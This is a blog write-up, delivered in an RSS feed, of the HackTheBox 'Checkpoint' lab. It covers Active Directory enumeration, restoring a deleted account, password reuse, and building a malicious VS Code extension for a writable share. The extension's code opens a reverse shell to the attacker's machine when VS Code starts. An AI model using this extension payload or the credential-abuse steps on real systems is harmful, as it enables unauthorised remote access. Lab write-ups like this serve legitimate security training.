<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Natius on Medium]]></title>
        <description><![CDATA[Stories by Natius on Medium]]></description>
        <link>https://medium.com/@natius?source=rss-2b663cf34d6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*VXo-1YnuY-quPEZ4L1ITKQ.png</url>
            <title>Stories by Natius on Medium</title>
            <link>https://medium.com/@natius?source=rss-2b663cf34d6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 14 Nov 2026 03:15:33 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@natius/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[HTB: Checkpoint Writeup]]></title>
            <link>https://medium.com/@natius/htb-checkpoint-writeup-1344111c7e9a?source=rss-2b663cf34d6------2</link>
            <guid isPermaLink="false">https://medium.com/p/1344111c7e9a</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[active-directory-security]]></category>
            <dc:creator><![CDATA[Natius]]></dc:creator>
            <pubDate>Thu, 12 Nov 2026 09:06:45 GMT</pubDate>
            <atom:updated>2026-11-12T10:20:02.282Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UymZqKCdMLII7KyWyflBRQ.jpeg" /><figcaption>Checkpont Machine</figcaption></figure><p>Checkpoint is a Windows machine that explores several interesting aspects of Active Directory security. What begins with a simple set of domain credentials quickly turns into a multi-stage adventure involving <em>deleted AD objects</em>, <em>password reuse</em>, <em>a malicious VS Code extension</em>, <em>dMSA abuse through BadSuccessor</em> and <em>VMware memory forensics</em>.</p><p>Each compromised account opens another door, eventually leading us to Domain Administrator. Along the way, we’ll explore some fascinating Active Directory weaknesses, uncover forgotten credentials and discover that sometimes the best place to hide a password is inside a virtual machine snapshot.😅</p><p>Let’s check in to Checkpoint and see how far a little enumeration can take us!</p><h3>About Checkpoint</h3><ul><li><strong>OS:</strong> Windows</li><li><strong>Difficulty:</strong> Medium</li><li><strong>Release Date:</strong> 13 Jun, 2026</li></ul><h3>Initial Access and Workspace Preparation</h3><p>The assessment begins with the credentials provided by the machine:</p><ul><li>Username: <strong><em>alex.turner</em></strong></li><li>Password: <strong><em>Checkpoint2024!</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CqEA1yUYTTXgd2I3y7m__w.png" /><figcaption>Assume-Breach Credentials</figcaption></figure><p>Before interacting with the target, I prepared a dedicated working directory to keep scan results, enumeration files, scripts and other artifacts organized:</p><pre>mkdir Checkpoint &amp;&amp; cd Checkpoint </pre><p>I then verfied connectivity to the target:</p><pre>ping -c 3 10.129.146.77</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xyshQhYgV-QWAONfNgKGmA.png" /><figcaption>Workspace Preparation and Connectivity Verification</figcaption></figure><h3>Network Enumeration with Nmap</h3><p>I started a TCP scan using Nmap:</p><pre>sudo nmap -sCV --reason -oN checkpoint.nmap 10.129.146.77</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tM51K2V3rExoZ2_NSE5qBg.png" /><figcaption>Network Enumeration</figcaption></figure><p>The scan identified the following open ports:</p><ul><li><strong>Port 53 (DNS)</strong> — Domain Name Resolution</li><li><strong>Port 88 (Kerberos)</strong> — Active Directory Authentication</li><li><strong>Port 135 (MSRPC)</strong> — Microsoft RPC endpoint mapper</li><li><strong>Port 139 (NetBIOS-SSN)</strong> — NetBIOS session service</li><li><strong>Port 389 (LDAP)</strong> — Active Directory Services</li><li><strong>Port 445 (SMB)</strong> — Server Message Block</li><li><strong>Port 464 (Kpasswd)</strong> — Kerberos password change service</li><li><strong>Port 593 (RPC over HTTP)</strong> — RPC over HTTP transport</li><li><strong>Port 636 (LDAPS) </strong>— LDAP over SSL/TLS</li><li><strong>Port 3268 (Global Catalog LDAP)</strong> — Active Directory Global Catalog</li><li><strong>Port 3269 (Global Catalog LDAPS)</strong> — Secure Global Catalog</li><li><strong>Port 5985 (WinRM) </strong>— Windows Remote Management over HTTP</li></ul><p>The combination of <em>Kerberos</em>, <em>LDAP</em>, <em>SMB</em>, <em>DNS</em> and <em>Global Catalog services </em>strongly suggested that this was an Active Directory Domain Controller.</p><p>Several additional details were worth noting:</p><ul><li>SMB signing was required</li><li>SMBv1 was disabled</li><li>The host identified itself as DC01</li><li>The domain was checkpoint.htb</li><li>A clock skew</li></ul><p>The clock discrepancy was particularly important because Kerberos is time-sensitive. Significant differences between the client and the domain controller clocks can cause authentication failures.</p><p>At this point, I had enough information to begin Active Directory enumeration.</p><h3>Host Management and Domain Resolution</h3><p>To make hostname resolution easier, I used NetExec to generate a hosts file from the target:</p><pre>nxc smb 10.129.146.77 --generate-hosts-file checkpoint_hosts</pre><p>The generated file contained the following entry:</p><pre>10.129.146.77     DC01.checkpoint.htb checkpoint.htb DC01 </pre><p>I appended it to /etc/hosts:</p><pre>cat checkpoint_hosts | sudo tee -a /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AFwkU2a1PdvMYAV9Y8EzCw.png" /><figcaption>Hostname Management</figcaption></figure><p>This allowed me to interact with the domain controller using its hostname and <em>fully qualified domain name</em> rather than relying exclusively on its IP address.</p><p>Hostname resolution is particularly useful when working with Kerberos and Active Directory tools, where the domain controller’s FQDN can be important for service principal names and authentication.</p><h3>Active Directory Enumeration with NetExec</h3><p>With the host configuration in place, I began testing the supplied credentials against exposed services.</p><p>I upgraded my <strong>NetExec</strong> version with (Required for this particular machine!):</p><pre>sudo apt update &amp;&amp; sudo apt install --only-upgrade netexec</pre><h4>Authentication Testing</h4><p>I first tested <strong>SMB</strong>:</p><pre>nxc smb DC01.checkpoint.htb -u alex.turner -p &#39;Checkpoint2024!&#39;</pre><ul><li>The authentication succeeded.</li></ul><p>Next, I tested <strong>LDAP</strong>:</p><pre>nxc ldap DC01.checkpoint.htb -u alex.turner -p &#39;Checkpoint2024!&#39;</pre><ul><li>LDAP authentication also succeeded.</li></ul><p>Finally, I checked WinRM:</p><pre>nxc winrm DC01.checkpoint.htb -u alex.turner -p &#39;Checkpoint2024!&#39;</pre><ul><li>Unlike SMB and LDAP, WinRM authentication failed</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jnmeNk61bvZDkdCXkRL-Uw.png" /><figcaption>Authentication Testing</figcaption></figure><blockquote>Note: Successful authentication against one service does not automatically grant access to another. Each service has its own authentication and authorization requirements.</blockquote><h4>Enumerating Domain Users</h4><p>I used NetExec to enumerate domain users:</p><pre>nxc ldap DC01.checkpoint.htb -u alex.turner -p &#39;Checkpoint2024!&#39; --users</pre><ul><li>The initial enumeration identified 17 users.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UBcKx150Cb6v1ar9CB9RTA.png" /><figcaption>Domain Users Enumeration</figcaption></figure><p>I also exported the results for later comparison:</p><pre>nxc ldap DC01.checkpoint.htb -u alex.turner -p &#39;Checkpoint2024!&#39; --users-export</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e34HgjUylhvUCvDfu9qc5Q.png" /><figcaption>Exporting Users</figcaption></figure><blockquote>Maintaining enumeration results is useful when investigating changes in the environment. It also makes it easier to compare accounts discovered at different stages of an assessment.</blockquote><h4>Kerbersoasting, AS-REP Roasting and gMSA Enumeration</h4><p>Next, I checked for accounts with Service Principal Names that might be vulnerable to Kerberoasting:</p><pre>nxc ldap DC01.checkpoint.htb -u alex.turner -p &#39;Checkpoint2024!&#39; --kerberoast kerberoast</pre><ul><li>The command returned no Kerberoastable account records. The disabled krbtgt account was skipped.</li></ul><p>I then checked for accounts that did not require Kerberos pre-authentication:</p><pre>nxc ldap DC01.checkpoint.htb -u alex.turner -p &#39;Checkpoint2024!&#39; --asreproast asreproast</pre><ul><li>No AS-REP roastable entries were returned.</li></ul><p>Finally, I checked for Group Managed Service Accounts:</p><pre>nxc ldap DC01.checkpoint.htb -u alex.turner -p &#39;Checkpoint2024!&#39; --gmsa </pre><ul><li>The output indicated that <strong>NetExec </strong>was attempting to retrieve <strong>gMSA</strong> passwords, but did not establish that any password had actually been recovered.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T4YSehvHofrvH2H-7wTCpw.png" /><figcaption>Kerberoasting, AS-REP Roasting and gMSA Enumeration</figcaption></figure><p>These checks did not immediately provide another credential, but they helped establish which common Active Directory attack paths were not producing results at this stage.</p><h3>SMB Share Enumeration</h3><p><strong>SMB</strong> was one of the most interesting services exposed by the target. I started enumerating the available shares:</p><pre>nxc smb DC01.checkpoint.htb -u alex.turner -p &#39;Checkpoint2024!&#39; --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dttF9acRilYy7y6pjBTXGw.png" /><figcaption>Shares Enumeration</figcaption></figure><ul><li>Among the shares <strong>DevDrop </strong>share immediately stood out with <strong>READ </strong>permissions and the comment VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0 which indicated that it was intended for approaved VS Code extension packages compatible with VS Code engine version 1.118.0</li><li>I also noticed the <strong>VMBackups</strong> share, which would become important later.</li></ul><h4>Enumerating Shares with smbclient</h4><p>To investigate the available shares further, I used smbclient:</p><pre>smbclient -L //checkpoint.htb -U alex.turner%Checkpoint2024!</pre><ul><li>This returned the available <strong>SMB</strong> shares.</li></ul><p>I then attempted to access <strong>DevDrop</strong>:</p><pre>smbclient //checkpoint.htb/DevDrop -U alex.turner%Checkpoint2024! -c &#39;ls&#39;</pre><ul><li>The directory was empty at the time of enumeration.</li></ul><p>I also attempted to access <strong>VMBackups</strong>:</p><pre>smbclient //checkpoint.htb/VMBackups -U alex.turner%Checkpoint2024! -c &#39;ls&#39;</pre><ul><li>Listing its contents returned an error.</li><li>The share was visible, but the current account did not have permission to enumerate its contents. Discovering a share does not mean having access to it.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vwO0EOO_8hNePpjjIYC8bQ.png" /><figcaption>Shares Enumeration with smbclient</figcaption></figure><h3>Active Directory Enumeration with RustHound-CE</h3><p>With the initial enumeration complete, I moved to <strong>BloodHound-based</strong> analysis to identify relationships and delegated permissions that might expose an attack path.</p><p>For data collection, I used <strong>RustHound-CE</strong>.</p><p>We need an updated version of <strong>RustHound-CE</strong>, if you get some errors updating execute the command:</p><pre>LIBGSSAPI_IMPL=mit cargo install rusthound-ce</pre><h4>Initial LDAP Collection Attempt</h4><p>My first attempt used the supplied domain credentials:</p><pre>rusthound-ce -d checkpoint.htb -u alex.turner -p &#39;Checkpoint2024!&#39; -z  </pre><ul><li>The connection failed with an <strong>LDAP authentication error</strong></li><li>The server indicated that integrity checking was required when binding without SSL/TLS.</li><li>This was not a credential failure. It was an LDAP security requirement.</li></ul><p>I then attempted <strong>Kerberos</strong> authentication:</p><pre>rusthound-ce -d checkpoint.htb -u alex.turner -p &#39;Checkpoint2024!&#39; -z -k</pre><ul><li>This attempt also failed. <strong>RustHound-CE</strong> indicated that Kerberos required the domain controller’s FQDN to be configured through options.ldapfqdn.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T4xjzTW5t5BoHotG_S4H2w.png" /><figcaption>RustHound-CE Troubleshooting</figcaption></figure><h4>Synchronizing the System Clock</h4><p>Earlier Nmap enumeration had identified a significant clock difference between the attack machine and the domain controller.</p><p>I corrected the local clock using:</p><pre>sudo ntpdate 10.129.146.77 </pre><ul><li>The Kerberos authentication is sensitive to time differences, so synchronizing the clock is an important troubleshooting step.</li><li>However, clock synchronization alone did not resolve the <strong>RustHound-CE</strong> configuration issues.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J4_dCLdYZkn8qDCIhAcAOQ.png" /><figcaption>Clock Synchronization</figcaption></figure><h4>Generating Kerberos Configuration</h4><p>I used NetExec to generate a Kerberos configuration file:</p><pre>nxc smb DC01.checkpoint.htb -u alex.turner -p &#39;Checkpoint2024!&#39; --generate-krb5-file checkpoint_krb5.conf</pre><ul><li>The generated configuration contained the CHECKPOINT.HTB realm and identified dc01.checkpoint.htb as the KDC and administrative server.</li></ul><p>I exported the configuration:</p><pre>export KRB5_CONFIG=checkpoint_krb5.conf</pre><ul><li>This prepared the Kerberos client environment, but the collection still required a valid Kerberos ticket and the correct LDAP configuration.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HpspM1s9xZq9q0NarYmHGQ.png" /><figcaption>Generating Kerberos Configuration</figcaption></figure><h4>Obtaining a Kerberos Ticket</h4><p>I installed the Kerberos client utilities:</p><pre>sudo apt install krb5-user -y</pre><p>Then I requested a Kerberos ticket for Alex Turner:</p><pre>kinit alex.turner</pre><p>After entering the password, I retried <strong>RustHound-CE</strong>, explicitly providing the domain controller’s FQDN:</p><pre>rusthound-ce -d checkpoint.htb -f DC01.checkpoint.htb -z -k</pre><ul><li>This time, LDAP connectivity and directory collection succeeded.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XKTrXuExBIreEEdLTHFEwA.png" /><figcaption>RustHound-CE Directory Collection</figcaption></figure><ul><li>A BloodHound archive was generated.</li><li>There was, however, a warning concerning <strong>GPO</strong> and <strong>SYSVOL </strong>collection: SYSVOL collection failed: — kerberos set but KRB5CCNAME is not defined</li><li>The warning did not invalidate the LDAP results, but it did indicate that some data was unavailable.</li></ul><h3>Analyzing Active Directory with BloodHound</h3><p>After collecting the directory data, I started my <strong>BloodHound</strong> Docker update:</p><pre>sudo docker compose pull</pre><p>I then started BloodHound:</p><pre>sudo docker-compose up -d</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gbzITQpZNftOJvA4idfWcw.png" /><figcaption>Starting BloodHound</figcaption></figure><p>I imported the RustHound-CE zip archive into BloodHound.</p><h4>Identifying the Initial User</h4><p>I searched for alex.turner</p><p>After locating the account, I marked it as <strong>owned</strong>.</p><p>Its group memberships included:</p><ul><li>VPN-USERS</li><li>IT-STAFF</li><li>DOMAIN USERS</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DVHlQMBZFTYxZDP599sTcw.png" /><figcaption>alex.turner Group Membership</figcaption></figure><p>The next step was to examine its O<strong>utbound Object Control</strong> relationships.</p><h4>Discovering Control Over a Deleted Account</h4><p>BloodHound revealed that alex.turner had GenericWrite over the deleted user account mark.davies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zXAeojhh2hi9jCFN6TRqXQ.png" /><figcaption>alex.turner’s GenericWrite over mark.davies</figcaption></figure><ul><li>This was an interesting finding because deleted objects are not necessarily irrelevant to an Active Directory assessment.</li><li>The relationship suggested that the deleted account and the permissions associated with it deserved further investigation.</li></ul><p>I also used BloodHound’s built-in Map OU Structure query, which revealed an OU named DMSAHOLDER</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*QLNLXvmmV5MhMC0zNNzlKg.png" /><figcaption>OU Structure Query</figcaption></figure><p>I made a note of this OU for later investigation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jv6_WaH9Lm6i42HdxSMA_g.png" /><figcaption>DMSAHOLDER OU</figcaption></figure><p>At this stage, there were two interesting leads:</p><ol><li>The deleted mark.davies account.</li><li>The DMSAHOLDER OU</li></ol><p>The next step was to validate the permissions identified by BloodHound.</p><h3>Validating Permissions with BloodyAD</h3><p>I used BloodyAD to enumerate objects writable by the initial account:</p><pre>bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -u alex.turner -p &#39;Checkpoint2024!&#39; get writable</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DGbNRBKsEFjwdYhB7deEJQ.png" /><figcaption>Validating Permissions with BloodyAD</figcaption></figure><ul><li>The most relevant finding was the WRITE access associated with the Deleted Objects container and the deleted <strong>Mark Davies</strong> object.</li></ul><h4>Examining Alex Turner’s Group Memberships</h4><p>I also checked the account’s group memberships:</p><pre>bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -u alex.turner -p &#39;Checkpoint2024!&#39; get membership alex.turner</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EQ9grvk554dkF4DdrZA3bg.png" /><figcaption>Alex Tuner Group Memberships</figcaption></figure><p>The account belonged to:</p><ul><li><strong>Builtin Users</strong></li><li><strong>Domain Users</strong></li><li><strong>IT-Staff</strong></li><li><strong>VPN-Users</strong></li></ul><p>The results were consistent with BloodHound’s group membership information.</p><p>The combination of the deleted-object permissions and the discovered account made <strong>Mark Davies</strong> the next logical target.</p><h3>Restoring the Deleted Mark Davies Account</h3><p>The next step was to determine whether the deleted account could be restored.</p><p>I started by enumerating the users again:</p><pre>nxc ldap DC01.checkpoint.htb -u alex.turner -p &#39;Checkpoint2024!&#39; --users</pre><p>I then used BloodyAD to restore the account:</p><pre> bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -u alex.turner -p &#39;Checkpoint2024!&#39; set restore mark.davies</pre><ul><li>The operation succeeded.</li><li>This moved the account out of the <strong>Deleted Objects</strong> container and restored it under the <strong>Employees OU</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f95lg20zGVVTZYdjnMGuug.png" /><figcaption>Restoring Mark Davies Account</figcaption></figure><h4>Confirmation of the Restored Account</h4><p>I enumerated the users again and exported the results:</p><pre>nxc ldap DC01.checkpoint.htb -u alex.turner -p &#39;Checkpoint2024!&#39; --users-export checkpoint_recovered_user.txt</pre><ul><li>The new export contained 18 users, including mark.davies.</li></ul><p>To identify the difference between the original and recovered lists, I used:</p><pre>diff checkpoint_initial_users.txt checkpoint_recovered_user.txt</pre><p>The output confirmed that <strong>Mark Davies</strong> had been added to the recovered user list.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EGOHUtDwUbFOAQ3ILjl2vg.png" /><figcaption>Confirmation of Recovered User</figcaption></figure><h4>An Alternative Restoration Method with NetExec</h4><p><strong>NetExec</strong> also provides a tombstone module for working with deleted Active Directory objects.</p><p>I first queried the deleted objects:</p><pre>nxc ldap DC01.checkpoint.htb -u alex.turner -p &#39;Checkpoint2024!&#39; -M tombstone -o ACTION=query</pre><ul><li>The output identified Mark Davies provided the deleted objects’s GUID: 2217e877-e2a2–47d7–91d4–99ede36f367e</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LXtGrccynAvlJbwA_Kobsg.png" /><figcaption>Getting the Deleted Object</figcaption></figure><p>I then restored it using the GUID:</p><pre>nxc ldap DC01.checkpoint.htb -u alex.turner -p &#39;Checkpoint2024!&#39; -M tombstone -o ACTION=restore ID=2217e877-e2a2-47d7-91d4-99ede36f367e</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VZWYKDAHiORHGwE7iG_Y_A.png" /><figcaption>Restoration of the Deleted Object</figcaption></figure><ul><li>The module reported a successful restoration.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f4kQgnxI53caTvDP2H6glw.png" /><figcaption>Confirmation of Restoration</figcaption></figure><blockquote>NOTE: I had to spawn a new instance of the Checkpoint machine hence the different IP address 10.129.16.90 to showcase restoration of the user using NetExec</blockquote><p>Interestingly, the <strong>Last Password Set</strong> timestamps for <strong>Alex Turner</strong> and <strong>Mark Davies</strong> were very close:</p><pre> alex.turner                   2026-05-09 10:00:08 0<br> mark.davies                   2026-05-09 10:00:48 0</pre><ul><li>The timestamps were only <strong>40 seconds</strong> apart. This was an interesting clue, although was not sufficient by itself to establish password reuse.</li><li>The next step was to test this hypothesis directly.</li></ul><h3>Authenticating as Mark Davies</h3><p>I tested the initially supplied password against the restored account.</p><p><strong>SMB Authentication</strong></p><pre>nxc smb DC01.checkpoint.htb -u mark.davies -p &#39;Checkpoint2024!&#39;</pre><ul><li>Authentication succeeded</li></ul><p><strong>LDAP Authentication</strong></p><pre>nxc ldap DC01.checkpoint.htb -u mark.davies -p &#39;Checkpoint2024!&#39;</pre><ul><li>LDAP authentication also succeeded.</li></ul><p><strong>WinRM Authentication</strong></p><pre>nxc winrm DC01.checkpoint.htb -u mark.davies -p &#39;Checkpoint2024!&#39;</pre><ul><li>WinRM authentication failed.</li><li>The results confirmed that the restored account reused the supplied password, but its access was still limited by service-specific authorization.</li></ul><h4>Updating BloodHound</h4><p>Before restoration, mark.davies user in BloodHound showed a <strong>DELETED OBJECTS</strong> container:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cqxG5CqNTaaMiCz4CmcOaw.png" /><figcaption>Before Restoration</figcaption></figure><p>Because the Active Directory environment had changed, I collected the directory data again:</p><pre>rusthound-ce -d checkpoint.htb -f DC01.checkpoint.htb -z -k</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AEHTaAcaRINBuSPN_IERnw.png" /><figcaption>Recollecting LDAP Data</figcaption></figure><p>I imported the new archive into BloodHound.</p><p>The Mark Davies object now appeared under <strong>EMPLOYEES OU </strong>rather than the <strong>Deleted Objects</strong> Container:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nx-fHbgviF9-rkXOcthO_A.png" /><figcaption>After Restoration</figcaption></figure><p>I also checked the account’s group memberships:</p><pre>bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -u mark.davies -p &#39;Checkpoint2024!&#39; get membership mark.davies</pre><p>The account belonged to:</p><ul><li><strong>Builtin Users</strong></li><li><strong>Domain Users</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TwPKfwlKBa9OYbzHixPRdQ.png" /><figcaption>Listing Membership</figcaption></figure><p>BloodHound showed the same general membership information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ni-9-1cQXyKKj1BKxEy-Lg.png" /><figcaption>Getting Membership using BloodHound</figcaption></figure><p>At first glance, all these did not appear particularly interesting. However, the <strong>SMB</strong> share permissions told a different story.</p><h3>Discovering Write Access to DevDrop</h3><p>I enumerated the SMB shares using Mark Davies’ credentials:</p><pre>nxc smb DC01.checkpoint.htb -u mark.davies -p &#39;Checkpoint2024!&#39; --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ilRzbDMqUt-GQ1vafXt-YA.png" /><figcaption>DevDrop Share with Writable Permissions</figcaption></figure><ul><li>This time the DevDrop share showed: DevDrop READ,WRITE</li><li>This was different from the initial account, which had read-only access.</li><li>The share was described as a repository for approved VS Code extension packages compatible with VS Code engine version 1.118.0.</li><li>This suggested a possible path to <strong>code execution</strong> if the environment automatically installed or loaded extensions from that location.</li></ul><p>Before attempting anything against the target, I decided to build and test an extension locally.</p><h3>Developing a VS Code Extension</h3><p>The objective was to create a <strong>VS Code extension</strong> package that could establish a <strong>reverse shell</strong> when activated.</p><p>I first prepared the development environment on my Kali machine.</p><h4>Installing Node.js with NVM</h4><p>I installed <strong>Node Version Manager</strong>:</p><pre>curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.41.0/install.sh | bash</pre><p>After opening a new terminal, I installed Node.js:</p><pre>nvm install 26</pre><p>I verified the installation:</p><pre>node -v<br><br>npm -v<br><br>npx -v</pre><h4>Installing Visual Studio Code</h4><p>I downloaded the Linux Debian package:</p><pre>wget &quot;https://code.visualstudio.com/sha/download?build=stable&amp;os=linux-deb-x64&quot;</pre><p>Then I installed it:</p><pre>sudo apt install ./code_1.145.0-1793749366_amd64.deb</pre><h4>Generating the Extension Project</h4><p>I used the official VS Code extension generator to scaffold a project:</p><pre>npx --package yo --package generator-code -- yo code</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ko1mfN9T2n6eRcZq3cQtIw.png" /><figcaption>Generating the Extension Project</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jqNS91KN6Yvr9JQOQAJeFw.png" /><figcaption>The Generated Project</figcaption></figure><ul><li>The generator created the initial extension structure, including package.json and src/extension.ts.</li><li>The package.json file contained the extension’s metadata and VS Code compatibility information.</li></ul><p>The original configuration included:</p><pre>&quot;engines&quot;: {<br>    &quot;vscode&quot;: &quot;^1.145.0&quot;<br>  },<br>&quot;activationEvents&quot;: [],<br>&quot;devDependencies&quot;: {<br>    &quot;@types/vscode&quot;: &quot;^1.145.0&quot;,<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6ZgI4JPJ6lSDqQ1daje05A.png" /><figcaption>Original package.json Configuration</figcaption></figure><p>The target share specified compatibility with VS Code engine version 1.118.0, so I adjusted the relevant version declarations:</p><pre>&quot;engines&quot;: {<br>    &quot;vscode&quot;: &quot;^1.118.0&quot;<br>  },<br>&quot;activationEvents&quot;: [&quot;onStartupFinished&quot;],<br>&quot;devDependencies&quot;: {<br>    &quot;@types/vscode&quot;: &quot;^1.118.0&quot;,<br>  },</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ODgWEyIXFwp7zNT6a1Yf6A.png" /><figcaption>Modified package.json File</figcaption></figure><ul><li>The onStartupFinished activation event allows an extension to activate after VS Code has completed its startup process.</li><li>The caret (^) in the version declaration defines a compatible version range rather than an exact version pin. There, ^1.118.0 is not strictly limited to version 1.118.0.</li></ul><h4>Preparing the Extension</h4><p>The modified extension implementation used Node.js’s child_process module to launch a shell and the net module to establish a TCP connection to the attack machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fDB70bxXvqYtuoEwKluh-g.png" /><figcaption>Initial extension implementation</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yH_7FuSzkl9YO_gp7hfeqw.png" /><figcaption>Modified extension Implementation</figcaption></figure><pre>// The module &#39;vscode&#39; contains the VS Code extensibility API<br>// Import the module and reference it with the alias vscode in your code below<br>import * as vscode from &#39;vscode&#39;;<br><br>// This method is called when your extension is activated<br>// Your extension is activated the very first time the command is executed<br>export function activate(context: vscode.ExtensionContext) {<br>    var net = require(&quot;net&quot;),<br>    cp = require(&quot;child_process&quot;),<br>    sh = cp.spawn(&quot;sh&quot;, []);<br>    var client = new net.Socket();<br>    client.connect(9001, &quot;10.10.14.162&quot;, function(){<br>        client.pipe(sh.stdin);<br>        sh.stdout.pipe(client);<br>        sh.stderr.pipe(client);<br>    });<br>    return /a/;<br>}<br><br><br>// This method is called when your extension is deactivated<br>export function deactivate() {}</pre><p>I also installed the VS Code Extension Manager:</p><pre>npm install -g @vscode/vsce</pre><p>I attempted to package the extension:</p><pre>vsce package</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qEupAtT7wPffYK0ccxvvwA.png" /><figcaption>Packaging the Extension</figcaption></figure><p>The first attempt failed because the generated 